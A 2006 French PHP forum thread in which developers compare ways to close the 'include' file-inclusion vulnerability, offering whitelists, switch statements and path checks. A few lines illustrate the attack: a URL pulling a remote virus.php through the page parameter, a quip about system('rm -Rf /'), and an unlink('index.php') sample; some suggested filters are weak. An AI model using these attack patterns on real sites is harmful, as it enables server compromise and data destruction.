CONDAMNER LA FAILLE INCLUDE()

cs_PaDa Messages postés 1804 Date d'inscription mardi 15 juillet 2003 Statut Membre Dernière intervention 22 septembre 2009 - 31 mai 2006 à 11:38
webdeb Messages postés 488 Date d'inscription samedi 5 avril 2003 Statut Membre Dernière intervention 31 mars 2009 - 26 août 2006 à 01:20
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/37874-condamner-la-faille-include

webdeb Messages postés 488 Date d'inscription samedi 5 avril 2003 Statut Membre Dernière intervention 31 mars 2009 4
26 août 2006 à 01:20
chankalan Messages postés 16 Date d'inscription mercredi 2 mars 2005 Statut Membre Dernière intervention 17 décembre 2007
11 juil. 2006 à 18:44
passionnante discution...
en débutant que je suis, j'ai eu la chance de tomber sur une bonne d'emblée, le switch, celle de williamprotti, et sans savoir qu'elle était si bonne...
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
6 juin 2006 à 14:09
Moi je préfèrerais le faire en C++ et l'éxécuter en CGI... imparable... lol... .. .

@ tchaOo°
FhX Messages postés 2350 Date d'inscription mercredi 13 octobre 2004 Statut Membre Dernière intervention 18 avril 2015 3
6 juin 2006 à 11:15
"On pourrait aussi stocker les pages dans un fichier XML, et parser le fichier pour voir si la page demandée est dedans, et...nan, je plaisantais ;-)"

On peut pas le faire aussi en version POO ? ;)
wizard512 Messages postés 459 Date d'inscription dimanche 9 janvier 2005 Statut Membre Dernière intervention 11 mai 2013 2
5 juin 2006 à 22:54
tien ici : http://www.javascriptfr.com/infomsg_LIEN-FICHIER-HTM-FR_716236.aspx
il y a dans les commentaires du probleme une solution pour les page par "URL"
Pyrghos Messages postés 9 Date d'inscription vendredi 26 décembre 2003 Statut Membre Dernière intervention 16 janvier 2007
5 juin 2006 à 10:34
Autant pour moi, je n'avait pas vu la methode du switch case deja expliqué plus haut par williamprotti, qui se trouve etre une meilleure facon en plus ^^

dsl
Pyrghos Messages postés 9 Date d'inscription vendredi 26 décembre 2003 Statut Membre Dernière intervention 16 janvier 2007
5 juin 2006 à 09:26
heu j'ai oublier a la fin d'inclure la page lol
donc :

<? include($mon_include); ?>

dsl ^^
Pyrghos Messages postés 9 Date d'inscription vendredi 26 décembre 2003 Statut Membre Dernière intervention 16 janvier 2007
5 juin 2006 à 09:24
Salut, personellement je n'inclu jamais de page dont l'url serait passai directement par GET (on à put voir toute les complications que cela génère). Donc voici comment je fait, si cela peut servir à quelqu'un :

<? //voila le code qui traite la variable $_GET[page]

$page=$_GET[page];

if ($page=="1") $mon_include="un_sous_rep/page1.php";
elseif ($page=="2") $mon_include="un_sous_rep/page2.php";
elseif ($page=="3") $mon_include="un_autre_sous_rep/un_sous_sous_rep/page456.php";
// etc...
else $mon_include="page_par_defaut.php"; // optionnel suivant l'utilisation de la page a inclure

?>

aprés suffi d'appellé la page par mapage.php?page=1 pour etre sur d'inclure la bonne page,
de cette facon impossible pour quelqu'un d'inclure une autre page que celle prevu par le developpeur.
killermaster Messages postés 5 Date d'inscription mercredi 5 octobre 2005 Statut Membre Dernière intervention 2 juin 2006
2 juin 2006 à 15:04
Ca y est, j'ai tout changé !!

Encore merci à tous !!!!!

@ Kankrelune

Mon avatar, c'est Tony Soprano, de la série Les Soprano ;))

Excellent !!!! ;)
coucou747 Messages postés 12303 Date d'inscription mardi 10 février 2004 Statut Membre Dernière intervention 30 juillet 2012 44
1 juin 2006 à 20:43
t'as oublié un "détail"

php accède non seulement à http, mais aussi à ftp, et bien d'autres méthodes... (genre ogg ect...)

donc, faut pas utiliser ça, car si jamais une méthode est ajoutée, bah ton script ne marche plus...
un endroit ou je détailes un certain nombre de failles : http://coucou747.hopto.org/article_21.html

bon, selon moi, rien ne vaut le uin_array pour faire ça...
pastis51forever Messages postés 172 Date d'inscription dimanche 29 juin 2003 Statut Membre Dernière intervention 8 septembre 2006 1
1 juin 2006 à 17:58
Ce que je voulais dire avec "à chaque fois que je les utilise... ", c'est que ca ne me sert pas uniquement la...
Dans d'autres parties, je peux avoir a les utiliser, donc il n'est pas systématiquement avantageux de gagner du temps ici si c'est pour en perdre plus bas. Par contre, les constantes ont comme avantage de me signaler si j'essaie de les déclarer plusieurs fois, alors qu'avec les variables, on écrase l'ancienne valeur sans aucun message d'avertissement, bien sur (et heureusement...)
Mais dans un contexte plus général c'est vrai que ce sont des stats très interessantes.
Ca me fait penser que j'ai quelques pages de source a revoir du coup...
Merci pour les précisions
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
1 juin 2006 à 17:41
et avec...

while($i<100000)
{
if(isset($tableau['TEST']))
{
$var=$tableau['TEST'];
}
$i++;
}

@ tchaOo°
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
1 juin 2006 à 17:40
On pourrait aussi stocker les pages dans un fichier XML, et parser le fichier pour voir si la page demandée est dedans, et...nan, je plaisantais ;-)

Kankrelune et les autres: on arrête de fantasmer svp!! Je ne suis pas un admin facile... ;-)
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 8
1 juin 2006 à 17:08
Avec ce code :

while($i<100000)
{
if(defined('TEST'))
{
$var=constant('TEST');
}
$i++;
}

while($i<100000)
{
if(in_array('TEST',$tableau))
{
$var=$tableau['TEST'];
}
$i++;
}

C'est le tableau qui est le plus rapide dès que tu récupères la valeur effectivement, dans le cas contraire la constante reste plus rapide ;)
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
1 juin 2006 à 16:49
L'accès direct à une constante oui... mais via la fonction constant je n'en suis pas si sûr... .. .

@ tchaOo°
pastis51forever Messages postés 172 Date d'inscription dimanche 29 juin 2003 Statut Membre Dernière intervention 8 septembre 2006 1
1 juin 2006 à 16:43
Ok, donc je continue tel quel... Je perds un peu de temps avec 1 fonction en plus dans la page (constant($page)) mais je gagne du temps d'acces a la valeur à chaque fois que je les utilise...
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 8
1 juin 2006 à 16:23
l'accès à une constante est plus rapide ;)
pastis51forever Messages postés 172 Date d'inscription dimanche 29 juin 2003 Statut Membre Dernière intervention 8 septembre 2006 1
1 juin 2006 à 14:47
kankrelune: C'est vrai que j'ai la facheuse tendance à travailler avec des constantes quand ce que je stocke est justement une constante...
Mais c'est vrai que je pense pas que constant($page) soit plus rapide que $tab[$page].
J'ai jamais vraiment su à quel moment il était meilleur d'utiliser des constantes ou des variables...
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
1 juin 2006 à 14:35
Au fait

UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre


Fais attention Malalam... tu ne connais pas nos désir les plus secrets... lOo°oOl... aïe... non... aïe... pô taper... pô la tête... .. . :oD

@ tchaOo°
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
1 juin 2006 à 14:33
@ pastis51forever... un tableau serait peut être plus simple que des constantes... et ça te fais une fonction de moins à appeler... .. .

$site_pages array('index'> 'index.php',
'chapitre1' => 'chapitres/chapitre1.php',
...
);
...

if (isset($site_pages[$page]))
include($site_pages[$page]);
else
include('fichiererreur.php');

@ TheSin
"Le .htaccess en plus, faudrait que j'y pense, mais comme je fonctionne sur des serveurs sur lesquels on ne peut inclure par défaut des fichiers qui ne nous appartiennent pas, je pense que j'ai pas de soucis de ce côté là"

Le .htaccess c'est juste pour que l'on ne puisse pas accéder au pages incluses directement... d'une part ça évite un affichage de ces pages sans header et footer... d'autre part ça évite l'affichage d'eereur (vu qu'il manque des fichiers inclu) qui peuvent renseigner un éventuel hackeur (notament en dévoilant le root du server)

@ xactise... is_file et file_exists c'est du pareil au même is_file étant légerement plus rapide... par contre c'est interessant ton histoire d'url rewriting faudra que je teste... .. .

J_G... ça a l'air pas mal comme technique... un peu plus lourd à mettre en place mais pas mal... .. . ;o)

@ killermaster...

"pour améliorer la faille, je vais pas avoir le temps désolé"

C'est pas la faille qu'il faut améliorer mais là façon de l'éviter... lol... et puis c'est pas pour le temps que ça prend... rooooooooh... .. .

Sympa ton avatar... tu fais vieu pour 17 ans... lol... bon ok je sors... .. . ;o)

@ tchaOo°
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 8
1 juin 2006 à 14:07
Disons que le coup de l'url absolue c'est histoire de respecter la RFC, en pratique ça ne sert à rien car n'importe quel navigateur comprend quand tu lui passes une url relative (ce qui est beaucoup plus pratique en cas de changement d'adresse de site par exemple).
J_G Messages postés 1406 Date d'inscription mercredi 17 août 2005 Statut Membre Dernière intervention 28 août 2007 10
1 juin 2006 à 13:51
Merci Thesin,

header("Location: /page_à_la_racine_du_site.php");
Ce n'est pas une erreur... Et je ne connais pas de navigateur ne comprennant pas ce message. Quel est le problème ?
Quique pour tout te dire, généralement, je définie au minimum ces 2 variables : SERVER_ROOT et HTTP_ROOT

Concernant le portage, personnelement, je ne ferais pas une classe de... cette unique fonction !
Ne vaut-il pas mieux mettre ces petits bouts de code dans un 'acces.inc.php' ?

Enfin, si t'es motivé pour la transformation... Pas de problème, je te file les droits d'exploitation ;)
TheSin Messages postés 331 Date d'inscription mardi 12 novembre 2002 Statut Membre Dernière intervention 10 février 2009
1 juin 2006 à 13:30
pardon, j'ai dit "un portable", petit lapsus dû à la fatigue ...
je voulais dire "un portage" ;-)
TheSin Messages postés 331 Date d'inscription mardi 12 novembre 2002 Statut Membre Dernière intervention 10 février 2009
1 juin 2006 à 13:29
intéressant J_G, par contre, tu fais une erreur sur le header('location') qui demande une URI absolue et non relative, sauf exception de certains navigateur ;-)
http://fr.php.net/manual/fr/function.header.php

N'empêche qu'il pourrait être intéressant de voir un portable de tes fonctions en une classe toute bête et méchante (niark, c'est bon les classes xD)
J_G Messages postés 1406 Date d'inscription mercredi 17 août 2005 Statut Membre Dernière intervention 28 août 2007 10
1 juin 2006 à 12:41
Salut,

Une autre façon de faire ?

oui oui oui oui... C'est celle que j'utilise (presque)
<?php
// La racine du site est :
define('ROOT', $_SERVER['DOCUMENT_ROOT']§.'/www/');

// Définition des différents droits d'acces existant
$i=0;
define('ACCES_GUEST',1<<$i++);
define('ACCES_LOGGED',1<<$i++);
define('ACCES_ADMIN',1<<$i++);
define('ACCES_SUPER',1<<$i++);
define('ACCES_ALL',0xff);

// Définition des droits d'acces aux page du site
$GLOBALS['ACCES'] = array();
$GLOBALS['ACCES'][ROOT.'index.php'] = ACCES_ALL;
$GLOBALS['ACCES'][ROOT.'connexion.php'] = ACCES_ALL;
$GLOBALS['ACCES'][ROOT.'compte_perso.php'] = ACCES_LOGGED;
// ... Ainsi pour toutes les pages du scripts
// C'est la technique dite de la liste blanche !
// Le script à inlcure est présumé coupable et doit prouver sa sympathie


// Puis une fonction pour inclusion sécurisée
function is_allow($include_this) {
$user_acces_rights = /* On chope les droits de l'utilisateur */;

// Adresse ABSOLUE et vérifie EXISTANCE du fichier ... C'est déjà pas mal !
$include_this = realpath($include_this);

// Pas le droit d'inclure :
if( $include_this===false
or !isset($GLOBALS['ACCES'][$include_this])
or !($GLOBALS['ACCES'][$include_this]&$user_acces_right) ) return false;

// OK ? cool...
return true;
}



// A utiliser ainsi pour les inclusions :
if( is_allow( $page ) ) {
include( $page );
}

// Ou ainsi pour protéger les accès aux pages :
$request = parse_url( $_SERVER['REQUEST_URI'] );
if( !is_allow($request['path']) ) {
header('HTTP/1.0 403 Not Allowed');
header('Location: /erreur_403.php');
exit;
}

?>

Il y'a bien sûr milles améliorations possibles...

A+
xactise Messages postés 507 Date d'inscription mardi 18 février 2003 Statut Membre Dernière intervention 22 juin 2012 2
1 juin 2006 à 11:09
et comme la dit anthomicro lors d'un projet j'ai pu m'apercevoir (Ho my god !!) que l'utilisation de l'URLRewrinting laisser passer quand meme les fichier qui sont proteger via .htaccess
exemple si j'ai un fichier ajout_news.php dans un dossier admin proteger via .htaccess
www.monsite.com/admin/ajout_news.php <== le htaccess fonctionnera
par contre si on utilise l'URLRewriting
www.monsite.com/index.php?fichier=admin/ajout_news.php
le .htaccess ne fonctionnera pas
donc faire attention a sa...
pastis51forever Messages postés 172 Date d'inscription dimanche 29 juin 2003 Statut Membre Dernière intervention 8 septembre 2006 1
1 juin 2006 à 11:09
xactise: le truc c'est que ca lui permet quand meme d'inclure n'importe quelle page de ton site, comme par exemple d'eventuels .htaccess, fichiers de mots de passes ou executer n'importe quel fichier php de ton serveur (Il faut donc etre certain d'avoir bien protégé chaque fichier) et visualiser n'importe quel fichier html. Je pense que c'est quand meme un peu lourd comme risque...
xactise Messages postés 507 Date d'inscription mardi 18 février 2003 Statut Membre Dernière intervention 22 juin 2012 2
1 juin 2006 à 11:01
JE di peut-etre une betise (d'ailleur si c'est le cas merci de m'en prevenir de suite car moi je fait comme sa...)
mais metre la condition suivante
if (file_exists($page))
sufit amplement vu que si la page est externe au serveur il ne l'acceptera pas...
pour que sa fonctionne le pirate doit dabord uploader sa page virus.php sur le serveur donc si il n'y a pas de system d'upload mal protegre c'est bon...
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 8
1 juin 2006 à 10:56
Attention, un .htaccess n'empêche pas PHP d'accéder au fichier ou dossier concerné.
TheSin Messages postés 331 Date d'inscription mardi 12 novembre 2002 Statut Membre Dernière intervention 10 février 2009
1 juin 2006 à 10:50
Perso, pour parer cette faille, je fais un switch sur un $_GET['mod'].
Après, j'inclus le bon fichier par le switch, et je lui lance la fonction appropriée, qui a été définie dans le fichier inclus.
Avec ca, il est déjà impossible de voir de l'html qui ressort dun fichier inclus, et ensuite la faille include n'existe pas ;-)
Le .htaccess en plus, faudrait que j'y pense, mais comme je fonctionne sur des serveurs sur lesquels on ne peut inclure par défaut des fichiers qui ne nous appartiennent pas, je pense que j'ai pas de soucis de ce côté là ;-)


[quote=Malalam]UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre/quote
Magnifique phrase, et je susi dévis pour qu'on laisse les commentaires et que killermaster update le code en fonction des commentaires ;-)
cs_PaDa Messages postés 1804 Date d'inscription mardi 15 juillet 2003 Statut Membre Dernière intervention 22 septembre 2009 5
1 juin 2006 à 10:34
oui, ou un system('rm -Rf /'); même soyons fous :)
pour peu qu'apache soit lancé comme un porki.. et que je me trompe pas dans la commande..
pastis51forever Messages postés 172 Date d'inscription dimanche 29 juin 2003 Statut Membre Dernière intervention 8 septembre 2006 1
1 juin 2006 à 10:13
Et puis, je n'ai pas testé (je n'ai qu'un seul serveur a disposition), mais l'inclusion d'un fichier php peut être dangereuse quand meme, je pense, meme si on inclut un fichier qui est déja passé par le moteur de php.
Ex de fichier inclus:
<?php
echo '<?php unlink("index.php") ?>';
?>
Sans le tester, je pense que ca devrait supprimer le fichier index.php du dossier courrant sur ton serveur...
Sinon, je suis interessé sur la raison...

Brice
pastis51forever Messages postés 172 Date d'inscription dimanche 29 juin 2003 Statut Membre Dernière intervention 8 septembre 2006 1
1 juin 2006 à 10:08
Bonjour!
Puisque le débat porte sur les différentes techniques pour parrer la faille include, je vais vous donner celle que j'utilise, pour que vous puissiez me dire ce que vous en pensez (et l'utiliser si elle vous plait, bien sur...).
J'ai un fichier de constantes:
<?php
define('INDEX','index.php');
define('CHAPITRE1','chapitres/chapitre1.php');
...
?>
J'inclus systématiquement ce fichier et je teste avant d'inclure la page demandée:
if (defined($page))
include(constant($page));
else
include('fichiererreur.php');

En fait ca me permet d'être certain que seules les pages autorisées sont incluses, de ne pas donner trop facilement l'architecture du site (pas de ?page=architecture/de/mon/site/page.php dans l'adresse) et tout simplement d'avoir des adresses plus jolies et intuitives, avec des constantes.

Brice
killermaster Messages postés 5 Date d'inscription mercredi 5 octobre 2005 Statut Membre Dernière intervention 2 juin 2006
1 juin 2006 à 03:27
ok merci


pour améliorer la faille, je vais pas avoir le temps désolé

@++
Arto_8000 Messages postés 1044 Date d'inscription lundi 7 mars 2005 Statut Membre Dernière intervention 13 juillet 2010 7
1 juin 2006 à 02:07
Petit détail si l'on veut être sur que l'on include seulement les fichiers qui sont supposés être includer :

$page = $_GET["page"];
$page = str_replace(Array("..","."),"",$page);

if(files_exist("includes/".$page))
{
include("includes/".$page);
}


C'est juste pour éviter que tu puisse includer les fichiers .htpasswd de tout le serveur ...
cs_Anthomicro Messages postés 9433 Date d'inscription mardi 9 octobre 2001 Statut Membre Dernière intervention 13 avril 2007 8
31 mai 2006 à 22:57
wizard512 Messages postés 459 Date d'inscription dimanche 9 janvier 2005 Statut Membre Dernière intervention 11 mai 2013 2
31 mai 2006 à 22:31
on peut dire que la source sert ( enfin de mon coter ) a rien
mais que les commentaires aux servent a quelque choses
( a faire évoluer le débat sur ce type de faille ^^' )
FhX Messages postés 2350 Date d'inscription mercredi 13 octobre 2004 Statut Membre Dernière intervention 18 avril 2015 3
31 mai 2006 à 20:01
"UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre"

Oh oui, pour la peine je quote moi aussi :p
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
31 mai 2006 à 18:27
UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre


Ooh... comme c'est beau... lol... .. . ;o)

@ tchaOo°
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
31 mai 2006 à 17:38
En fait, ce serait même la moindre des choses, qu'il mette à jour son code. Hmm Killermaster ... ? :-)
cs_PaDa Messages postés 1804 Date d'inscription mardi 15 juillet 2003 Statut Membre Dernière intervention 22 septembre 2009 5
31 mai 2006 à 17:29
Je pense que les commentaires/discussions que la source a généré sont intéressants ;)
Vaudrait mieux que killermaster update sa source pour tenir compte de toutes les remarques, ca serait un bon compromis non ?
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
31 mai 2006 à 16:42
Chais pas, parce qu'il y a des choses intéressantes, concernant ce type de problème (failles include), expliquant comment éviter ces failles, dans les commentaires.
Donc, je pense que je vais laisser ce code. Pour les commentaires.

Maintenant, si, chers membres ;-), vous êtes contre, je me plierai à vos désirs, évidemment. UN admin n'est autre qu'un esclave des désirs des utilisateurs du site qu'il administre, après tout ;-)
stepibou Messages postés 112 Date d'inscription jeudi 11 mars 2004 Statut Membre Dernière intervention 11 octobre 2006
31 mai 2006 à 16:15
code line soon deleted?
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
31 mai 2006 à 15:26
pas besoin pour ma méthode le is_file ne marche que sur du local vu qu'il passe par le gestionnaire de fichiers du serveur... .. .

@ CrYpToNyM... c'est pour ça qu'il vaut mieux regrouper les pages dans un répertoire ne contenant que des page autorisées à l'affichage... .. .

@ tchaOo°
J_G Messages postés 1406 Date d'inscription mercredi 17 août 2005 Statut Membre Dernière intervention 28 août 2007 10
31 mai 2006 à 14:49
Bonjour...

Et si on faisait comme ça :

$page = $_SERVER['DOCUMENT_ROOT'].'/'.$_GET['page'];

Ne serait-ce pas mieux?
CrYpToNyM Messages postés 1 Date d'inscription mardi 2 juillet 2002 Statut Membre Dernière intervention 31 mai 2006
31 mai 2006 à 14:36
Sans vouloir trop m'avancer, il me semble qu'une simple option dans le php.ini permet de désactiver l'include distant...
Mais bon le script kiddie peut toujours inclure n'importe quel fichier local.
La meilleure méthode reste le switch case.
kankrelune Messages postés 1293 Date d'inscription mardi 9 novembre 2004 Statut Membre Dernière intervention 21 mai 2015
31 mai 2006 à 13:30
deux problème... un théorique...

http://www.votre_site.com/index.php?page=http://www.site_attaquant.com/virus.php

il "inclura" alors le script 'virus.php' dans votre site et pourra alors faire à peu près tout ce qu'il veut, d'où l'importance de combler cette faille...


si on prend ton exemple on incluera du code html... donc à part des attaque css tu peux pas faire grand chose... c'est un peu plus compliqué que ça... et heureusement... .. .

l'autre faute est théorique... comme le dit Malalam le strpos ne protège pas grand chose car facilement contournable... mieux vaut mettre toutes ces pages dans un répertoire protégé par un .htaccess en deny from all et faire...

$page = (isset($_GET['page'])) ? strip_tags($_GET['page']) : 'accueil';

if(is_file('pages/'.$page.'.php'))
include('pages/'.$page.'.php');
elseif(is_file('pages/'.$page.'.html'))
include('pages/'.$page.'.html');
else
include('pages/accueil.php');

Ou alors comme dit williamprotti tu fais un switch... .. .

@ tchaOo°
killermaster Messages postés 5 Date d'inscription mercredi 5 octobre 2005 Statut Membre Dernière intervention 2 juin 2006
31 mai 2006 à 13:05
ah !

ok merci bien j'vais revoir tout ça ;)

@++
williamprotti Messages postés 44 Date d'inscription samedi 15 mars 2003 Statut Membre Dernière intervention 21 mai 2007
31 mai 2006 à 13:03
Bonjour tout le monde!

Personnelement je fait comme ça:

Url = http://www.site.com/?idPage=1

code

<?php
switch($_GET['idPage'])
{
case '1':
include"page.php";
break;

default:
include"erreur.php"; // ou acceuil, ou un echo etc...
break;
}
?>
Maintenant je sais pas si c'est bien de faire comme ça....

voilà! :)
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
31 mai 2006 à 12:35
Tu as testé mes 2 exemples, pour le strpos () ?

strpos renvoie : false s'il échoue, ou un entier s'il trouve la chaîne demandée, indiquant la position de cette chaîne dans l'autre chaîne.
Mais un offset de position dans une chaîne commence à 0, pas à 1.
Dans mon exemple: test et testeur.
testeur contient évidemment test. Et la position de 'test' dans 'testeur' est 0.
Or, en php false == 0.
Mais false !0...(comparaison typée, triple).
donc, dans mon exemple, avec false strpos (...), ça renvoie true! Puisqu'il trouve 0, et que 0 false...
Mais en faisant false === strpos (...), il trouve tjrs 0, mais 0 !== false, donc il renvoie bien false, et non true.
killermaster Messages postés 5 Date d'inscription mercredi 5 octobre 2005 Statut Membre Dernière intervention 2 juin 2006
31 mai 2006 à 12:31
sinon en fait je ne récupère pas $page avec $_GET['page'] :

avant d'inclure $page, j'ai un test (composé de switch) qui me renvoie une valeur bien précise pour $page, après je l'inclue avec

include($page);

seulement je voulais juste empêcher l'utilisateur de mettre n'importe quoi dans cette variable..

Et je ne comprends pas pourquoi tu dis que strPos ne fonctionne pas correctement !

Tu pourrais expliquer ?? :))


@++
killermaster Messages postés 5 Date d'inscription mercredi 5 octobre 2005 Statut Membre Dernière intervention 2 juin 2006
31 mai 2006 à 12:26
ah bon ?? :'((


bah merci quand même !


@++
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
31 mai 2006 à 11:50
En clair, ton strpos ne fonctionne pas correctement.
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
31 mai 2006 à 11:49
PaDa => tu ne te trompes pas, mais vu que c'est un exemple, j'ai misé sur le fait que c'était JUSTE un exemple, et qu'il récupèrait son $page d'un $_GET['page'] auparavant...mais tu fais bien de préciser :-)

Au passage, file_exists ne renvoie jamais une valeur 0, donc pas besoin de true.

Et vive la comparaison typée, au passage, parce que :

<?php
$sSearch = 'test';
$sString = 'testeur';

if (false == strpos ($sString, $sSearch)) {
echo 'non trouvé : "testeur" ne contient pas "test"';
} else {
echo 'trouvé : "testeur" contient "test"';
}
?>

et

<?php
$sSearch = 'test';
$sString = 'testeur';

if (false === strpos ($sString, $sSearch)) {
echo 'non trouvé : "testeur" ne contient pas "test"';
} else {
echo 'trouvé : "testeur" contient "test"';
}
?>

compares donc...
malalam Messages postés 10839 Date d'inscription lundi 24 février 2003 Statut Membre Dernière intervention 2 mars 2010 25
31 mai 2006 à 11:43
Hello,

heu, et si le mec met ?page=www.sonsite.com/virus.php ...? Ou une adresse ip ? ou même pas www? ...etc

Le mieux est de toutes façons de savoir ce que tu t'attends à recevoir...et de n'accepter que ça.

Perso, j'utilise, quand j'utilise c e système, un tableau des GET que j'attends. Et ce ne sont jamais des url...ou du moins, jamais des url absolues.
cs_PaDa Messages postés 1804 Date d'inscription mardi 15 juillet 2003 Statut Membre Dernière intervention 22 septembre 2009 5
31 mai 2006 à 11:38
Je vais ptet dire une bêtise mais...

La variable $page n'est pas remplie automatiquement si la directive "register_globals" est à "off" sur ta distribution php.
C'est une erreur commune de croire que c'est le fonctionnement normal de PHP de remplir les variables automatiquement avec l'URL, mais ca pose un problème de sécurité tellement important que par défaut ce comportement est désormais à "off" par défaut (et chez beaucoup d'hébergeurs sur des vieilles distributions aussi).

Dites moi si je me trompe...

Perso, je teste chaque paramètre de facon exacte avant un include, ca coute pas cher et ca évite les surprises :-)
Rejoignez-nous